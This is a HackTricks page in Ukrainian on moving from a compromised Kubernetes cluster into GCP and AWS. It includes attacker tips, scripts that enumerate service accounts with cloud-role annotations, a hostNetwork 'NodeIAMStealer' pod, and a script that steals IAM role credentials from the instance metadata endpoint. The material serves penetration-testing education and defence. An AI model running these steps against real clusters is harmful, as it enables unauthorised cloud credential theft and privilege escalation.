Kubernetes Pivoting to Clouds

Reading time: 12 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

GCP

Якщо ви запускаєте кластер k8s всередині GCP, ви, напевно, захочете, щоб деякий додаток, що працює всередині кластера, мав доступ до GCP. Є 2 поширених способи зробити це:

Монтування ключів GCP-SA як секрету

Поширений спосіб надати доступ до kubernetes-додатку до GCP:

  • Створити обліковий запис служби GCP
  • Прив'язати до нього необхідні дозволи
  • Завантажити json-ключ створеного SA
  • Замонтувати його як секрет всередині пода
  • Встановити змінну середовища GOOGLE_APPLICATION_CREDENTIALS, що вказує на шлях, де знаходиться json.

warning

Тому, як зловмисник, якщо ви скомпрометували контейнер всередині пода, вам слід перевірити цю змінну середовища та json файли з обліковими даними GCP.

Прив'язка GSA json до KSA секрету

Спосіб надати доступ до GSA для кластера GKE - це прив'язати їх таким чином:

  • Створити обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE, використовуючи наступну команду:
bash
Copy codekubectl create serviceaccount <service-account-name>
  • Створіть Kubernetes Secret, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка gcloud, як показано в наступному прикладі:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив'яжіть Kubernetes Secret до облікового запису служби Kubernetes за допомогою наступної команди:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

На другому етапі були встановлені облікові дані GSA як секрет KSA. Тоді, якщо ви можете прочитати цей секрет з всередині кластеру GKE, ви можете ескалювати до цього облікового запису служби GCP.

GKE Workload Identity

З Workload Identity ми можемо налаштувати обліковий запис служби Kubernetes, щоб він діяв як обліковий запис служби Google. Поди, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud.

Перший рядок кроків для активації цієї поведінки - це активувати Workload Identity в GCP (кроки) та створити GCP SA, який ви хочете, щоб k8s представляв.

  • Активуйте Workload Identity на новому кластері
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створити/Оновити новий пул вузлів (Кластери Autopilot не потребують цього)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть GCP обліковий запис служби для наслідування з K8s з дозволами GCP:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до кластера та створіть обліковий запис служби для використання
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив'язати GSA до KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть pod з KSA та перевірте доступ до GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте наступну команду для автентифікації у разі потреби:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Як атакуючий всередині K8s, ви повинні шукати SAs з анотацією iam.gke.io/gcp-service-account, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншим варіантом було б спробувати зловживати кожним KSA в кластері та перевірити, чи має він доступ.
З GCP завжди цікаво перерахувати зв'язки та дізнатися, який доступ ви надаєте SAs всередині Kubernetes.

Це скрипт для легкого ітерації по всіх визначеннях подів, шукаючи цю анотацію:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM роль для Pods)

Застарілий спосіб надання IAM ролей Pods - це використання Kiam або Kube2IAM сервера. В основному, вам потрібно запустити daemonset у вашому кластері з привілейованою IAM роллю. Цей daemonset буде тим, хто надасть доступ до IAM ролей pods, які цього потребують.

По-перше, вам потрібно налаштувати які ролі можуть бути доступні всередині простору імен, і ви робите це за допомогою анотації всередині об'єкта простору імен:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Якщо простір імен налаштований з IAM ролями, які можуть мати Pods, ви можете вказати роль, яку ви хочете в кожному визначенні pod, за допомогою чогось на зразок:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Як атакуючий, якщо ви знайдете ці анотації в подах або просторах імен, або сервер kiam/kube2iam, що працює (ймовірно, в kube-system), ви можете вдаватись в будь-яку роль, яка вже використовується подами, і більше (якщо у вас є доступ до облікового запису AWS, перерахувати ролі).

Створити Pod з IAM роллю

note

IAM роль, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати можливість доступу до неї.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role для K8s Service Accounts через OIDC

Це рекомендований спосіб від AWS.

  1. По-перше, вам потрібно створити OIDC провайдер для кластера.
  2. Потім ви створюєте IAM роль з дозволами, які буде вимагати SA.
  3. Створіть відносини довіри між IAM роллю та SA (або просторами імен, які надають доступ до ролі всім SA в просторі імен). Відносини довіри в основному перевірятимуть ім'я OIDC провайдера, ім'я простору імен та ім'я SA.
  4. Нарешті, створіть SA з анотацією, що вказує ARN ролі, і контейнери, що працюють з цим SA, матимуть доступ до токена ролі. Токен записується в файл, а шлях вказується в AWS_WEB_IDENTITY_TOKEN_FILE (за замовчуванням: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Щоб отримати aws, використовуючи токен з /var/run/secrets/eks.amazonaws.com/serviceaccount/token, виконайте:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Як атакуючий, якщо ви можете перерахувати кластер K8s, перевірте облікові записи служб з цією анотацією, щоб ескалювати до AWS. Для цього просто exec/create pod, використовуючи один з привілейованих облікових записів служб IAM, і вкрадіть токен.

Більше того, якщо ви всередині pod, перевірте змінні середовища, такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.

caution

Іноді Політика довіри ролі може бути погано налаштована, і замість того, щоб надати доступ до AssumeRole очікуваному обліковому запису служби, вона надає його всім обліковим записам служб. Тому, якщо ви здатні записати анотацію на контрольованому обліковому записі служби, ви можете отримати доступ до ролі.

Перевірте наступну сторінку для отримання додаткової інформації:

AWS - Federation Abuse

Знайти Pods a SAs з IAM ролями в кластері

Це скрипт для легкого ітерації по всіх pod і визначення sas, шукаючи цю анотацію:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Попередній розділ стосувався того, як вкрасти IAM ролі за допомогою подів, але зверніть увагу, що вузол K8s кластера буде екземпляром всередині хмари. Це означає, що вузол, ймовірно, матиме нову IAM роль, яку ви можете вкрасти (зверніть увагу, що зазвичай всі вузли K8s кластера мають однакову IAM роль, тому може не мати сенсу перевіряти кожен вузол).

Однак є важлива вимога для доступу до метаданих з вузла, вам потрібно бути на вузлі (ssh сесія?) або принаймні мати ту ж мережу:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Вкрасти токен IAM ролі

Раніше ми обговорювали, як прикріпити IAM ролі до Pods або навіть як втекти до вузла, щоб вкрасти IAM роль, яку екземпляр має прикріпленою до нього.

Ви можете використовувати наступний скрипт, щоб вкрасти ваші нові важко зароблені облікові дані IAM ролі:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks